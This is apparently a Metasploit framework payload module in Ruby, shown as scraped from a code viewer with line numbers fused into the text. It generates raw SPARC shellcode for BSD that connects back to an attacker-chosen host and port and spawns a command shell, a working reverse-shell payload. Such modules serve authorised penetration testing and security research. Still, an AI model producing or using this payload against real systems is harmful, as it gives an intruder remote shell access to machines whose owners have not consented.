Path: blob/master/modules/payloads/singles/bsd/sparc/shell_reverse_tcp.rb
19664 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 12878include Msf::Payload::Single9include Msf::Payload::Bsd10include Msf::Sessions::CommandShellOptions1112def initialize(info = {})13super(14merge_info(15info,16'Name' => 'BSD Command Shell, Reverse TCP Inline',17'Description' => 'Connect back to attacker and spawn a command shell',18'Author' => 'vlad902',19'License' => MSF_LICENSE,20'Platform' => 'bsd',21'Arch' => ARCH_SPARC,22'Handler' => Msf::Handler::ReverseTcp,23'Session' => Msf::Sessions::CommandShell24)25)26end2728def generate(_opts = {})29port = (datastore['RPORT'] || '0').to_i30host = nil31begin32host = Rex::Socket.resolv_nbo_i(datastore['RHOST'] || '127.0.0.1')33rescue SocketError34host = Rex::Socket.resolv_nbo_i('127.0.0.1')35end3637"\x9c\x2b\xa0\x07\x94\x1a\xc0\x0b\x92\x10\x20\x01\x90\x10\x20\x02" \38"\x82\x10\x20\x61\x91\xd0\x20\x08\xd0\x23\xbf\xf8\x92\x10\x20\x03" \39"\x92\xa2\x60\x01\x82\x10\x20\x5a\x91\xd0\x20\x08\x12\xbf\xff\xfd" \40"\xd0\x03\xbf\xf8" +41Rex::Arch::Sparc.set(0xff020000 | port, 'l0') +42Rex::Arch::Sparc.set(host, 'l1') +43"\xe0\x3b\xbf\xf0\x92\x23\xa0\x10\x94\x10\x20\x10\x82\x10\x20\x62" \44"\x91\xd0\x20\x08\x94\x1a\xc0\x0b\x21\x0b\xd8\x9a\xa0\x14\x21\x6e" \45"\x23\x0b\xdc\xda\x90\x23\xa0\x10\x92\x23\xa0\x08\xe0\x3b\xbf\xf0" \46"\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"47end48end495051